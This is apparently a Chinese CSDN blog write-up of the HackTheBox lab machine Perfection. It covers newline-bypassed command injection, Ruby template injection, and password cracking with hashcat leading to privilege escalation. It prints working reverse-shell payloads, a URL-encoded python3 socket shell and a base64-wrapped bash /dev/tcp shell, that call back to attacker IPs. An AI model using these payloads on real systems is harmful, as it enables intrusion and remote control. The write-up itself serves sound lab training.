打靶日记--hackthebox--Perfection

文章讲述了在一次网络服务发现过程中,作者发现了命令注入漏洞,并展示了如何利用它进行反弹shell操作,包括Base64编码绕过问题。后续通过find命令查找用户信息,分析密码格式,使用hashcat破解密码,最终实现提权获取flag的过程。
摘要由CSDN通过智能技术生成

网络服务发现:

访问网站:

服务器信息:

查找其他目录:

可发现about和weighted-grade目录,也可扫描目录:

About目录找到 Susan Miller ;Tina Smith两个人名信息,开发团队成员

weighted-grade目录看到有交互:

简单测试发现:

可以提交,只需要Weight (%)加起来100

测试发现可以命令注入:

返回是:

 

经过测试,换行符可以绕过:

联想到用的是ruby语言,网上找了下ssti模板注入:

成功执行,那么下一步反弹shell

在线网站搜一个反弹命令:(注意burp发包要用加号连接,分号,等号等做一个url编码)

<%25%3d+`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.63",1234))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")'`+%25>

成功反弹:

其实也可以用base64编码反弹:

base64 <<< "bash -i >& /dev/tcp/10.10.14.162/1234 0>&1" | sed 's/+/%2b/'

sed 's/\+/\%2b/': 这个命令使用 sed 工具进行字符串替换操作。具体来说,它将 Base64 编码后的字符串中的 + 替换为 %2b。这是因为 URL 中的 + 在传输过程中可能会被解析成空格,为了确保编码的完整性,需要将 + 转义为 %2b。

<%25%3dsystem("echo+$b64+|+base64+-d+|+bash");%25>然后将base64加密后的放入$b64

接着上面拿到shell后:(拿到第一个flag)

查看用户拥有的文件
find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*"

find / -uid 1001: 这是 find 命令的起始部分,用于在文件系统的根目录 / 下查找属主用户 ID 为 1001 的文件。-uid 选项用于指定要搜索的用户 ID。

-type f: 这是 find 命令的选项,用于限定搜索结果为普通文件。-type f 表示只搜索文件,而不搜索目录或其他类型的文件。

-ls: 这是被 -exec 选项调用的命令,它使用 ls 命令来显示找到的文件的详细信息,包括文件权限、所有者等。

2>/dev/null: 这部分是将标准错误输出重定向到 /dev/null 设备。2 表示标准错误输出的文件描述符,/dev/null 是一个特殊的设备文件,它会将所有写入的内容丢弃。这样可以防止错误消息显示在终端上。

| grep -v "/proc*": 这是管道操作符 |,用于将 find 命令的输出传递给 grep 命令进行过滤。grep -v 表示反向匹配,即排除匹配的结果。"/proc*" 是一个正则表达式,用于匹配以 /proc 开头的行。这样做是为了排除搜索结果中的 /proc 目录,因为 /proc 目录是一个虚拟文件系统,其中包含有关运行中进程的信息。

综上所述,该命令的目的是在整个文件系统中查找属主用户 ID 为 1001 的普通文件,并使用 ls 命令显示这些文件的详细信息。同时,通过将标准错误输出重定向到 /dev/null,确保错误消息不会显示在终端上。然后,通过管道和 grep -v 过滤掉匹配 /proc* 的行,以排除 /proc 目录。

查看包含用户名的文件

find / -name "*susan*" -type f -ls 2>/dev/null

重点是密码格式为:

{firstname}_{firstname backwards}_{随机生成的介于 1 和 1,000,000,000 之间的整数}

寻找和password有关的文件:

查找和susan有关的信息:

还可以直接查看数据库:

然后根据之前获得的密码规律,进行破解

利用hashcat破解即可,最后密码为:susan_nasus_413759210

最后通过密码提权,拿到最后的flag:

自此,本次打靶结束。

  • 14
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值